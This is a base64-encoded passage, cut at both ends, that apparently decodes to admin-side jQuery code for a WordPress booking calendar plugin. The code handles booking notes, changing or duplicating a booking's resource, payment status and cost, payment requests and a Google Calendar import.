gXCJ2YWx1ZV9vZl9zZWxlY3RlZF9vcHRpb25cIiBhbmQgUkVEIGNvbG9yIGFuZCBoaW50IGZvciBMT0NBTEUgYnV0dG9uICAgLS0gIEl0J3MgY2FsbGVkIGZyb20gXHR3cGJjX2FqeF9ib29raW5nX2RlZmluZV91aV9ob29rcygpICBcdGVhY2ggIHRpbWUgYWZ0ZXIgTGlzdGluZyBsb2FkaW5nLlxyXG4gKi9cclxuZnVuY3Rpb24gd3BiY19hanhfYm9va2luZ19fdWlfZGVmaW5lX19sb2NhbGUoKXtcclxuXHJcblx0alF1ZXJ5KCAnLndwYmNfbGlzdGluZ19jb250YWluZXIgc2VsZWN0JyApLmVhY2goIGZ1bmN0aW9uICggaW5kZXggKXtcclxuXHJcblx0XHR2YXIgc2VsZWN0aW9uID0galF1ZXJ5KCB0aGlzICkuYXR0ciggXCJ2YWx1ZV9vZl9zZWxlY3RlZF9vcHRpb25cIiApO1x0XHRcdC8vIERlZmluZSBzZWxlY3RlZCBzZWxlY3QgYm94ZXNcclxuXHJcblx0XHRpZiAoIHVuZGVmaW5lZCAhPT0gc2VsZWN0aW9uICl7XHJcblx0XHRcdGpRdWVyeSggdGhpcyApLmZpbmQoICdvcHRpb25bdmFsdWU9XCInICsgc2VsZWN0aW9uICsgJ1wiXScgKS5wcm9wKCAnc2VsZWN0ZWQnLCB0cnVlICk7XHJcblxyXG5cdFx0XHRpZiAoICgnJyAhPSBzZWxlY3Rpb24pICYmIChqUXVlcnkoIHRoaXMgKS5oYXNDbGFzcyggJ3NldF9ib29raW5nX2xvY2FsZV9zZWxlY3Rib3gnICkpICl7XHRcdFx0XHRcdFx0XHRcdC8vIExvY2FsZVxyXG5cclxuXHRcdFx0XHR2YXIgYm9va2luZ19sb2NhbGVfYnV0dG9uID0galF1ZXJ5KCB0aGlzICkucGFyZW50cyggJy51aV9lbGVtZW50X2xvY2FsZScgKS5maW5kKCAnLnNldF9ib29raW5nX2xvY2FsZV9idXR0b24nIClcclxuXHJcblx0XHRcdFx0Ly9ib29raW5nX2xvY2FsZV9idXR0b24uY3NzKCAnY29sb3InLCAnI2RiNDgwMCcgKTtcdFx0Ly8gU2V0IGJ1dHRvbiAgcmVkXHJcblx0XHRcdFx0Ym9va2luZ19sb2NhbGVfYnV0dG9uLmFkZENsYXNzKCAnd3BiY191aV9yZWQnICk7XHRcdC8vIFNldCBidXR0b24gIHJlZFxyXG5cdFx0XHRcdCBpZiAoICdmdW5jdGlvbicgPT09IHR5cGVvZiggd3BiY190aXBweSApICl7XHJcblx0XHRcdFx0XHRib29raW5nX2xvY2FsZV9idXR0b24uZ2V0KDApLl90aXBweS5zZXRDb250ZW50KCBzZWxlY3Rpb24gKTtcclxuXHRcdFx0XHQgfVxyXG5cdFx0XHR9XHJcblx0XHR9XHJcblx0fSApO1xyXG59XHJcblxyXG4vKipcclxuICogICBSZW1hcmsgICAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi9cclxuXHJcbi8qKlxyXG4gKiBEZWZpbmUgY29udGVudCBvZiByZW1hcmsgXCJib29raW5nIG5vdGVcIiBidXR0b24gYW5kIHRleHRhcmVhLiAgLS0gSXQncyBjYWxsZWQgZnJvbSBcdHdwYmNfYWp4X2Jvb2tpbmdfZGVmaW5lX3VpX2hvb2tzKCkgIFx0ZWFjaCAgdGltZSBhZnRlciBMaXN0aW5nIGxvYWRpbmcuXHJcbiAqL1xyXG5mdW5jdGlvbiB3cGJjX2FqeF9ib29raW5nX191aV9kZWZpbmVfX3JlbWFyaygpe1xyXG5cclxuXHRqUXVlcnkoICcud3BiY19saXN0aW5nX2NvbnRhaW5lciAudWlfcmVtYXJrX3NlY3Rpb24gdGV4dGFyZWEnICkuZWFjaCggZnVuY3Rpb24gKCBpbmRleCApe1xyXG5cdFx0dmFyIHRleHRfdmFsID0galF1ZXJ5KCB0aGlzICkudmFsKCk7XHJcblx0XHRpZiAoICh1bmRlZmluZWQgIT09IHRleHRfdmFsKSAmJiAoJycgIT0gdGV4dF92YWwpICl7XHJcblxyXG5cdFx0XHR2YXIgcmVtYXJrX2J1dHRvbiA9IGpRdWVyeSggdGhpcyApLnBhcmVudHMoICcudWlfZ3JvdXAnICkuZmluZCggJy5zZXRfYm9va2luZ19ub3RlX2J1dHRvbicgKTtcclxuXHJcblx0XHRcdGlmICggcmVtYXJrX2J1dHRvbi5sZW5ndGggPiAwICl7XHJcblxyXG5cdFx0XHRcdHJlbWFya19idXR0b24uYWRkQ2xhc3MoICd3cGJjX3VpX3JlZCcgKTtcdFx0Ly8gU2V0IGJ1dHRvbiAgcmVkXHJcblx0XHRcdFx0aWYgKCAnZnVuY3Rpb24nID09PSB0eXBlb2YgKHdwYmNfdGlwcHkpICl7XHJcblx0XHRcdFx0XHQvL3JlbWFya19idXR0b24uZ2V0KCAwICkuX3RpcHB5LmFsbG93SFRNTCA9IHRydWU7XHJcblx0XHRcdFx0XHQvL3JlbWFya19idXR0b24uZ2V0KCAwICkuX3RpcHB5LnNldENvbnRlbnQoIHRleHRfdmFsLnJlcGxhY2UoL1tcXG5cXHJdL2csICc8YnI+JykgKTtcclxuXHJcblx0XHRcdFx0XHRyZW1hcmtfYnV0dG9uLmdldCggMCApLl90aXBweS5zZXRQcm9wcygge1xyXG5cdFx0XHRcdFx0XHRhbGxvd0hUTUw6IHRydWUsXHJcblx0XHRcdFx0XHRcdGNvbnRlbnQgIDogdGV4dF92YWwucmVwbGFjZSggL1tcXG5cXHJdL2csICc8YnI+JyApXHJcblx0XHRcdFx0XHR9ICk7XHJcblx0XHRcdFx0fVxyXG5cdFx0XHR9XHJcblx0XHR9XHJcblx0fSApO1xyXG59XHJcblxyXG4vKipcclxuICogQWN0aW9ucyAsd2hlbiB3ZSBjbGljayBvbiBcIlJlbWFya1wiIGJ1dHRvbi5cclxuICpcclxuICogQHBhcmFtIGpxX2J1dHRvbiAgLVx0dGhpcyBqUXVlcnkgYnV0dG9uICBvYmplY3RcclxuICovXHJcbmZ1bmN0aW9uIHdwYmNfYWp4X2Jvb2tpbmdfX3VpX2NsaWNrX19yZW1hcmsoIGpxX2J1dHRvbiApe1xyXG5cclxuXHRqcV9idXR0b24ucGFyZW50cygnLnVpX2dyb3VwJykuZmluZCgnLnVpX3JlbWFya19zZWN0aW9uJykudG9nZ2xlKCk7XHJcbn1cclxuXHJcblxyXG4vKipcclxuICogICBDaGFuZ2UgYm9va2luZyByZXNvdXJjZSAgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi9cclxuXHJcbmZ1bmN0aW9uIHdwYmNfYWp4X2Jvb2tpbmdfX3VpX2NsaWNrX3Nob3dfX2NoYW5nZV9yZXNvdXJjZSggYm9va2luZ19pZCwgcmVzb3VyY2VfaWQgKXtcclxuXHJcblx0Ly8gRGVmaW5lIElEIG9mIGJvb2tpbmcgdG8gaGlkZGVuIGlucHV0XHJcblx0alF1ZXJ5KCAnI2NoYW5nZV9ib29raW5nX3Jlc291cmNlX19ib29raW5nX2lkJyApLnZhbCggYm9va2luZ19pZCApO1xyXG5cclxuXHQvLyBTZWxlY3QgYm9va2luZyByZXNvdXJjZSAgdGhhdCBiZWxvbmcgdG8gIGJvb2tpbmdcclxuXHRqUXVlcnkoICcjY2hhbmdlX2Jvb2tpbmdfcmVzb3VyY2VfX3Jlc291cmNlX3NlbGVjdCcgKS52YWwoIHJlc291cmNlX2lkICkudHJpZ2dlciggJ2NoYW5nZScgKTtcclxuXHR2YXIgY2JyO1xyXG5cclxuXHQvLyBHZXQgUmVzb3VyY2Ugc2VjdGlvblxyXG5cdGNiciA9IGpRdWVyeSggXCIjY2hhbmdlX2Jvb2tpbmdfcmVzb3VyY2VfX3NlY3Rpb25cIiApLmRldGFjaCgpO1xyXG5cclxuXHQvLyBBcHBlbmQgaXQgdG8gYm9va2luZyBST1dcclxuXHRjYnIuYXBwZW5kVG8oIGpRdWVyeSggXCIjdWlfX2NoYW5nZV9ib29raW5nX3Jlc291cmNlX19zZWN0aW9uX2luX2Jvb2tpbmdfXCIgKyBib29raW5nX2lkICkgKTtcclxuXHRjYnIgPSBudWxsO1xyXG5cclxuXHQvLyBIaWRlIHNlY3Rpb25zIG9mIFwiQ2hhbmdlIGJvb2tpbmcgcmVzb3VyY2VcIiBpbiBhbGwgb3RoZXIgYm9va2luZ3MgUk9Xc1xyXG5cdC8valF1ZXJ5KCBcIi51aV9fY2hhbmdlX2Jvb2tpbmdfcmVzb3VyY2VfX3NlY3Rpb25faW5fYm9va2luZ1wiICkuaGlkZSgpO1xyXG5cdGlmICggISBqUXVlcnkoIFwiI3VpX19jaGFuZ2VfYm9va2luZ19yZXNvdXJjZV9fc2VjdGlvbl9pbl9ib29raW5nX1wiICsgYm9va2luZ19pZCApLmlzKCc6dmlzaWJsZScpICl7XHJcblx0XHRqUXVlcnkoIFwiLnVpX191bmRlcl9hY3Rpb25zX3Jvd19fc2VjdGlvbl9pbl9ib29raW5nXCIgKS5oaWRlKCk7XHJcblx0fVxyXG5cclxuXHQvLyBTaG93IG9ubHkgXCJjaGFuZ2UgYm9va2luZyByZXNvdXJjZVwiIHNlY3Rpb24gIGZvciBjdXJyZW50IGJvb2tpbmdcclxuXHRqUXVlcnkoIFwiI3VpX19jaGFuZ2VfYm9va2luZ19yZXNvdXJjZV9fc2VjdGlvbl9pbl9ib29raW5nX1wiICsgYm9va2luZ19pZCApLnRvZ2dsZSgpO1xyXG59XHJcblxyXG5mdW5jdGlvbiB3cGJjX2FqeF9ib29raW5nX191aV9jbGlja19zYXZlX19jaGFuZ2VfcmVzb3VyY2UoIHRoaXNfZWwsIGJvb2tpbmdfYWN0aW9uLCBlbF9pZCApe1xyXG5cclxuXHR3cGJjX2FqeF9ib29raW5nX2FqYXhfYWN0aW9uX3JlcXVlc3QoIHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdib29raW5nX2FjdGlvbicgICAgICAgOiBib29raW5nX2FjdGlvbixcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdib29raW5nX2lkJyAgICAgICAgICAgOiBqUXVlcnkoICcjY2hhbmdlX2Jvb2tpbmdfcmVzb3VyY2VfX2Jvb2tpbmdfaWQnICkudmFsKCksXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnc2VsZWN0ZWRfcmVzb3VyY2VfaWQnIDogalF1ZXJ5KCAnI2NoYW5nZV9ib29raW5nX3Jlc291cmNlX19yZXNvdXJjZV9zZWxlY3QnICkudmFsKCksXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHQndWlfY2xpY2tlZF9lbGVtZW50X2lkJzogZWxfaWRcclxuXHR9ICk7XHJcblxyXG5cdHdwYmNfYnV0dG9uX2VuYWJsZV9sb2FkaW5nX2ljb24oIHRoaXNfZWwgKTtcclxuXHJcblx0Ly8gd3BiY19hanhfYm9va2luZ19fdWlfY2xpY2tfY2xvc2VfX2NoYW5nZV9yZXNvdXJjZSgpO1xyXG59XHJcblxyXG5mdW5jdGlvbiB3cGJjX2FqeF9ib29raW5nX191aV9jbGlja19jbG9zZV9fY2hhbmdlX3Jlc291cmNlKCl7XHJcblxyXG5cdHZhciBjYnJjZTtcclxuXHJcblx0Ly8gR2V0IFJlc291cmNlIHNlY3Rpb25cclxuXHRjYnJjZSA9IGpRdWVyeShcIiNjaGFuZ2VfYm9va2luZ19yZXNvdXJjZV9fc2VjdGlvblwiKS5kZXRhY2goKTtcclxuXHJcblx0Ly8gQXBwZW5kIGl0IHRvIGhpZGRlbiBIVE1MIHRlbXBsYXRlIHNlY3Rpb24gIGF0ICB0aGUgYm90dG9tICBvZiB0aGUgcGFnZVxyXG5cdGNicmNlLmFwcGVuZFRvKGpRdWVyeShcIiN3cGJjX2hpZGRlbl90ZW1wbGF0ZV9fY2hhbmdlX2Jvb2tpbmdfcmVzb3VyY2VcIikpO1xyXG5cdGNicmNlID0gbnVsbDtcclxuXHJcblx0Ly8gSGlkZSBhbGwgY2hhbmdlIGJvb2tpbmcgcmVzb3VyY2VzIHNlY3Rpb25zXHJcblx0alF1ZXJ5KFwiLnVpX19jaGFuZ2VfYm9va2luZ19yZXNvdXJjZV9fc2VjdGlvbl9pbl9ib29raW5nXCIpLmhpZGUoKTtcclxufVxyXG5cclxuLyoqXHJcbiAqICAgRHVwbGljYXRlIGJvb2tpbmcgaW4gb3RoZXIgcmVzb3VyY2UgICAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICovXHJcblxyXG5mdW5jdGlvbiB3cGJjX2FqeF9ib29raW5nX191aV9jbGlja19zaG93X19kdXBsaWNhdGVfYm9va2luZyggYm9va2luZ19pZCwgcmVzb3VyY2VfaWQgKXtcclxuXHJcblx0Ly8gRGVmaW5lIElEIG9mIGJvb2tpbmcgdG8gaGlkZGVuIGlucHV0XHJcblx0alF1ZXJ5KCAnI2R1cGxpY2F0ZV9ib29raW5nX3RvX290aGVyX3Jlc291cmNlX19ib29raW5nX2lkJyApLnZhbCggYm9va2luZ19pZCApO1xyXG5cclxuXHQvLyBTZWxlY3QgYm9va2luZyByZXNvdXJjZSAgdGhhdCBiZWxvbmcgdG8gIGJvb2tpbmdcclxuXHRqUXVlcnkoICcjZHVwbGljYXRlX2Jvb2tpbmdfdG9fb3RoZXJfcmVzb3VyY2VfX3Jlc291cmNlX3NlbGVjdCcgKS52YWwoIHJlc291cmNlX2lkICkudHJpZ2dlciggJ2NoYW5nZScgKTtcclxuXHR2YXIgY2JyO1xyXG5cclxuXHQvLyBHZXQgUmVzb3VyY2Ugc2VjdGlvblxyXG5cdGNiciA9IGpRdWVyeSggXCIjZHVwbGljYXRlX2Jvb2tpbmdfdG9fb3RoZXJfcmVzb3VyY2VfX3NlY3Rpb25cIiApLmRldGFjaCgpO1xyXG5cclxuXHQvLyBBcHBlbmQgaXQgdG8gYm9va2luZyBST1dcclxuXHRjYnIuYXBwZW5kVG8oIGpRdWVyeSggXCIjdWlfX2R1cGxpY2F0ZV9ib29raW5nX3RvX290aGVyX3Jlc291cmNlX19zZWN0aW9uX2luX2Jvb2tpbmdfXCIgKyBib29raW5nX2lkICkgKTtcclxuXHRjYnIgPSBudWxsO1xyXG5cclxuXHQvLyBIaWRlIHNlY3Rpb25zIG9mIFwiRHVwbGljYXRlIGJvb2tpbmdcIiBpbiBhbGwgb3RoZXIgYm9va2luZ3MgUk9Xc1xyXG5cdGlmICggISBqUXVlcnkoIFwiI3VpX19kdXBsaWNhdGVfYm9va2luZ190b19vdGhlcl9yZXNvdXJjZV9fc2VjdGlvbl9pbl9ib29raW5nX1wiICsgYm9va2luZ19pZCApLmlzKCc6dmlzaWJsZScpICl7XHJcblx0XHRqUXVlcnkoIFwiLnVpX191bmRlcl9hY3Rpb25zX3Jvd19fc2VjdGlvbl9pbl9ib29raW5nXCIgKS5oaWRlKCk7XHJcblx0fVxyXG5cclxuXHQvLyBTaG93IG9ubHkgXCJEdXBsaWNhdGUgYm9va2luZ1wiIHNlY3Rpb24gIGZvciBjdXJyZW50IGJvb2tpbmcgUk9XXHJcblx0alF1ZXJ5KCBcIiN1aV9fZHVwbGljYXRlX2Jvb2tpbmdfdG9fb3RoZXJfcmVzb3VyY2VfX3NlY3Rpb25faW5fYm9va2luZ19cIiArIGJvb2tpbmdfaWQgKS50b2dnbGUoKTtcclxufVxyXG5cclxuZnVuY3Rpb24gd3BiY19hanhfYm9va2luZ19fdWlfY2xpY2tfc2F2ZV9fZHVwbGljYXRlX2Jvb2tpbmcoIHRoaXNfZWwsIGJvb2tpbmdfYWN0aW9uLCBlbF9pZCApe1xyXG5cclxuXHR3cGJjX2FqeF9ib29raW5nX2FqYXhfYWN0aW9uX3JlcXVlc3QoIHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdib29raW5nX2FjdGlvbicgICAgICAgOiBib29raW5nX2FjdGlvbixcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdib29raW5nX2lkJyAgICAgICAgICAgOiBqUXVlcnkoICcjZHVwbGljYXRlX2Jvb2tpbmdfdG9fb3RoZXJfcmVzb3VyY2VfX2Jvb2tpbmdfaWQnICkudmFsKCksXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnc2VsZWN0ZWRfcmVzb3VyY2VfaWQnIDogalF1ZXJ5KCAnI2R1cGxpY2F0ZV9ib29raW5nX3RvX290aGVyX3Jlc291cmNlX19yZXNvdXJjZV9zZWxlY3QnICkudmFsKCksXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHQndWlfY2xpY2tlZF9lbGVtZW50X2lkJzogZWxfaWRcclxuXHR9ICk7XHJcblxyXG5cdHdwYmNfYnV0dG9uX2VuYWJsZV9sb2FkaW5nX2ljb24oIHRoaXNfZWwgKTtcclxuXHJcblx0Ly8gd3BiY19hanhfYm9va2luZ19fdWlfY2xpY2tfY2xvc2VfX2NoYW5nZV9yZXNvdXJjZSgpO1xyXG59XHJcblxyXG5mdW5jdGlvbiB3cGJjX2FqeF9ib29raW5nX191aV9jbGlja19jbG9zZV9fZHVwbGljYXRlX2Jvb2tpbmcoKXtcclxuXHJcblx0dmFyIGNicmNlO1xyXG5cclxuXHQvLyBHZXQgUmVzb3VyY2Ugc2VjdGlvblxyXG5cdGNicmNlID0galF1ZXJ5KFwiI2R1cGxpY2F0ZV9ib29raW5nX3RvX290aGVyX3Jlc291cmNlX19zZWN0aW9uXCIpLmRldGFjaCgpO1xyXG5cclxuXHQvLyBBcHBlbmQgaXQgdG8gaGlkZGVuIEhUTUwgdGVtcGxhdGUgc2VjdGlvbiAgYXQgIHRoZSBib3R0b20gIG9mIHRoZSBwYWdlXHJcblx0Y2JyY2UuYXBwZW5kVG8oalF1ZXJ5KFwiI3dwYmNfaGlkZGVuX3RlbXBsYXRlX19kdXBsaWNhdGVfYm9va2luZ190b19vdGhlcl9yZXNvdXJjZVwiKSk7XHJcblx0Y2JyY2UgPSBudWxsO1xyXG5cclxuXHQvLyBIaWRlIGFsbCBjaGFuZ2UgYm9va2luZyByZXNvdXJjZXMgc2VjdGlvbnNcclxuXHRqUXVlcnkoXCIudWlfX2R1cGxpY2F0ZV9ib29raW5nX3RvX290aGVyX3Jlc291cmNlX19zZWN0aW9uX2luX2Jvb2tpbmdcIikuaGlkZSgpO1xyXG59XHJcblxyXG4vKipcclxuICogICBDaGFuZ2UgcGF5bWVudCBzdGF0dXMgICAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi9cclxuXHJcbmZ1bmN0aW9uIHdwYmNfYWp4X2Jvb2tpbmdfX3VpX2NsaWNrX3Nob3dfX3NldF9wYXltZW50X3N0YXR1cyggYm9va2luZ19pZCApe1xyXG5cclxuXHR2YXIgalNlbGVjdCA9IGpRdWVyeSggJyN1aV9fc2V0X3BheW1lbnRfc3RhdHVzX19zZWN0aW9uX2luX2Jvb2tpbmdfJyArIGJvb2tpbmdfaWQgKS5maW5kKCAnc2VsZWN0JyApXHJcblxyXG5cdHZhciBzZWxlY3RlZF9wYXlfc3RhdHVzID0galNlbGVjdC5hdHRyKCBcImFqeC1zZWxlY3RlZC12YWx1ZVwiICk7XHJcblxyXG5cdC8vIElzIGl0IGZsb2F0IC0gdGhlbiAgaXQncyB1bmtub3duXHJcblx0aWYgKCAhaXNOYU4oIHBhcnNlRmxvYXQoIHNlbGVjdGVkX3BheV9zdGF0dXMgKSApICl7XHJcblx0XHRqU2VsZWN0LmZpbmQoICdvcHRpb25bdmFsdWU9XCIxXCJdJyApLnByb3AoICdzZWxlY3RlZCcsIHRydWUgKTtcdFx0XHRcdFx0XHRcdFx0Ly8gVW5rbm93biAgdmFsdWUgaXMgJzEnIGluIHNlbGVjdCBib3hcclxuXHR9IGVsc2Uge1xyXG5cdFx0alNlbGVjdC5maW5kKCAnb3B0aW9uW3ZhbHVlPVwiJyArIHNlbGVjdGVkX3BheV9zdGF0dXMgKyAnXCJdJyApLnByb3AoICdzZWxlY3RlZCcsIHRydWUgKTtcdFx0Ly8gT3RoZXJ3aXNlIGtub3duIHBheW1lbnQgc3RhdHVzXHJcblx0fVxyXG5cclxuXHQvLyBIaWRlIHNlY3Rpb25zIG9mIFwiQ2hhbmdlIGJvb2tpbmcgcmVzb3VyY2VcIiBpbiBhbGwgb3RoZXIgYm9va2luZ3MgUk9Xc1xyXG5cdGlmICggISBqUXVlcnkoIFwiI3VpX19zZXRfcGF5bWVudF9zdGF0dXNfX3NlY3Rpb25faW5fYm9va2luZ19cIiArIGJvb2tpbmdfaWQgKS5pcygnOnZpc2libGUnKSApe1xyXG5cdFx0alF1ZXJ5KCBcIi51aV9fdW5kZXJfYWN0aW9uc19yb3dfX3NlY3Rpb25faW5fYm9va2luZ1wiICkuaGlkZSgpO1xyXG5cdH1cclxuXHJcblx0Ly8gU2hvdyBvbmx5IFwiY2hhbmdlIGJvb2tpbmcgcmVzb3VyY2VcIiBzZWN0aW9uICBmb3IgY3VycmVudCBib29raW5nXHJcblx0alF1ZXJ5KCBcIiN1aV9fc2V0X3BheW1lbnRfc3RhdHVzX19zZWN0aW9uX2luX2Jvb2tpbmdfXCIgKyBib29raW5nX2lkICkudG9nZ2xlKCk7XHJcbn1cclxuXHJcbmZ1bmN0aW9uIHdwYmNfYWp4X2Jvb2tpbmdfX3VpX2NsaWNrX3NhdmVfX3NldF9wYXltZW50X3N0YXR1cyggYm9va2luZ19pZCwgdGhpc19lbCwgYm9va2luZ19hY3Rpb24sIGVsX2lkICl7XHJcblxyXG5cdHdwYmNfYWp4X2Jvb2tpbmdfYWpheF9hY3Rpb25fcmVxdWVzdCgge1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2Jvb2tpbmdfYWN0aW9uJyAgICAgICA6IGJvb2tpbmdfYWN0aW9uLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2Jvb2tpbmdfaWQnICAgICAgICAgICA6IGJvb2tpbmdfaWQsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnc2VsZWN0ZWRfcGF5bWVudF9zdGF0dXMnIDogalF1ZXJ5KCAnI3VpX2J0bl9zZXRfcGF5bWVudF9zdGF0dXMnICsgYm9va2luZ19pZCApLnZhbCgpLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3VpX2NsaWNrZWRfZWxlbWVudF9pZCc6IGVsX2lkICsgJ19zYXZlJ1xyXG5cdH0gKTtcclxuXHJcblx0d3BiY19idXR0b25fZW5hYmxlX2xvYWRpbmdfaWNvbiggdGhpc19lbCApO1xyXG5cclxuXHRqUXVlcnkoICcjJyArIGVsX2lkICsgJ19jYW5jZWwnKS5oaWRlKCk7XHJcblx0Ly93cGJjX2J1dHRvbl9lbmFibGVfbG9hZGluZ19pY29uKCBqUXVlcnkoICcjJyArIGVsX2lkICsgJ19jYW5jZWwnKS5nZXQoMCkgKTtcclxuXHJcbn1cclxuXHJcbmZ1bmN0aW9uIHdwYmNfYWp4X2Jvb2tpbmdfX3VpX2NsaWNrX2Nsb3NlX19zZXRfcGF5bWVudF9zdGF0dXMoKXtcclxuXHQvLyBIaWRlIGFsbCBjaGFuZ2UgIHBheW1lbnQgc3RhdHVzIGZvciBib29raW5nXHJcblx0alF1ZXJ5KFwiLnVpX19zZXRfcGF5bWVudF9zdGF0dXNfX3NlY3Rpb25faW5fYm9va2luZ1wiKS5oaWRlKCk7XHJcbn1cclxuXHJcblxyXG4vKipcclxuICogICBDaGFuZ2UgYm9va2luZyBjb3N0ICAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi9cclxuXHJcbmZ1bmN0aW9uIHdwYmNfYWp4X2Jvb2tpbmdfX3VpX2NsaWNrX3NhdmVfX3NldF9ib29raW5nX2Nvc3QoIGJvb2tpbmdfaWQsIHRoaXNfZWwsIGJvb2tpbmdfYWN0aW9uLCBlbF9pZCApe1xyXG5cclxuXHR3cGJjX2FqeF9ib29raW5nX2FqYXhfYWN0aW9uX3JlcXVlc3QoIHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdib29raW5nX2FjdGlvbicgICAgICAgOiBib29raW5nX2FjdGlvbixcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdib29raW5nX2lkJyAgICAgICAgICAgOiBib29raW5nX2lkLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2Jvb2tpbmdfY29zdCcgXHRcdCAgIDogalF1ZXJ5KCAnI3VpX2J0bl9zZXRfYm9va2luZ19jb3N0JyArIGJvb2tpbmdfaWQgKyAnX2Nvc3QnKS52YWwoKSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd1aV9jbGlja2VkX2VsZW1lbnRfaWQnOiBlbF9pZCArICdfc2F2ZSdcclxuXHR9ICk7XHJcblxyXG5cdHdwYmNfYnV0dG9uX2VuYWJsZV9sb2FkaW5nX2ljb24oIHRoaXNfZWwgKTtcclxuXHJcblx0alF1ZXJ5KCAnIycgKyBlbF9pZCArICdfY2FuY2VsJykuaGlkZSgpO1xyXG5cdC8vd3BiY19idXR0b25fZW5hYmxlX2xvYWRpbmdfaWNvbiggalF1ZXJ5KCAnIycgKyBlbF9pZCArICdfY2FuY2VsJykuZ2V0KDApICk7XHJcblxyXG59XHJcblxyXG5mdW5jdGlvbiB3cGJjX2FqeF9ib29raW5nX191aV9jbGlja19jbG9zZV9fc2V0X2Jvb2tpbmdfY29zdCgpe1xyXG5cdC8vIEhpZGUgYWxsIGNoYW5nZSAgcGF5bWVudCBzdGF0dXMgZm9yIGJvb2tpbmdcclxuXHRqUXVlcnkoXCIudWlfX3NldF9ib29raW5nX2Nvc3RfX3NlY3Rpb25faW5fYm9va2luZ1wiKS5oaWRlKCk7XHJcbn1cclxuXHJcblxyXG4vKipcclxuICogICBTZW5kIFBheW1lbnQgcmVxdWVzdCAgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICovXHJcblxyXG5mdW5jdGlvbiB3cGJjX2FqeF9ib29raW5nX191aV9jbGlja19fc2VuZF9wYXltZW50X3JlcXVlc3QoKXtcclxuXHJcblx0d3BiY19hanhfYm9va2luZ19hamF4X2FjdGlvbl9yZXF1ZXN0KCB7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnYm9va2luZ19hY3Rpb24nICAgICAgIDogJ3NlbmRfcGF5bWVudF9yZXF1ZXN0JyxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdib29raW5nX2lkJyAgICAgICAgICAgOiBqUXVlcnkoICcjd3BiY19tb2RhbF9fcGF5bWVudF9yZXF1ZXN0X19ib29raW5nX2lkJykudmFsKCksXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHQncmVhc29uX29mX2FjdGlvbicgXHQgICA6IGpRdWVyeSggJyN3cGJjX21vZGFsX19wYXltZW50X3JlcXVlc3RfX3JlYXNvbl9vZl9hY3Rpb24nKS52YWwoKSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd1aV9jbGlja2VkX2VsZW1lbnRfaWQnOiAnd3BiY19tb2RhbF9fcGF5bWVudF9yZXF1ZXN0X19idXR0b25fc2VuZCdcclxuXHR9ICk7XHJcblx0d3BiY19idXR0b25fZW5hYmxlX2xvYWRpbmdfaWNvbiggalF1ZXJ5KCAnI3dwYmNfbW9kYWxfX3BheW1lbnRfcmVxdWVzdF9fYnV0dG9uX3NlbmQnICkuZ2V0KCAwICkgKTtcclxufVxyXG5cclxuXHJcbi8qKlxyXG4gKiAgIEltcG9ydCBHb29nbGUgQ2FsZW5kYXIgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqL1xyXG5cclxuZnVuY3Rpb24gd3BiY19hanhfYm9va2luZ19fdWlfY2xpY2tfX2ltcG9ydF9nb29nbGVfY2FsZW5kYXIoKXtcclxuXHJcblx0d3BiY19hanhfYm9va2luZ19hamF4X2FjdGlvbl9yZXF1ZXN0KCB7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnYm9va2luZ19hY3Rpb24nICAgICAgIDogJ2ltcG9ydF9nb29nbGVfY2FsZW5kYXInLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3VpX2NsaWNrZWRfZWxlbWVudF9pZCc6ICd3cGJjX21vZGFsX19pbXBvcnRfZ29vZ2xlX2NhbGVuZGFyX19idXR0b25fc2VuZCdcclxuXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHQsICdib29raW5nX2djYWxfZXZlbnRzX2Zyb20nIDogXHRcdFx0XHRqUXVlcnkoICcjd3Bi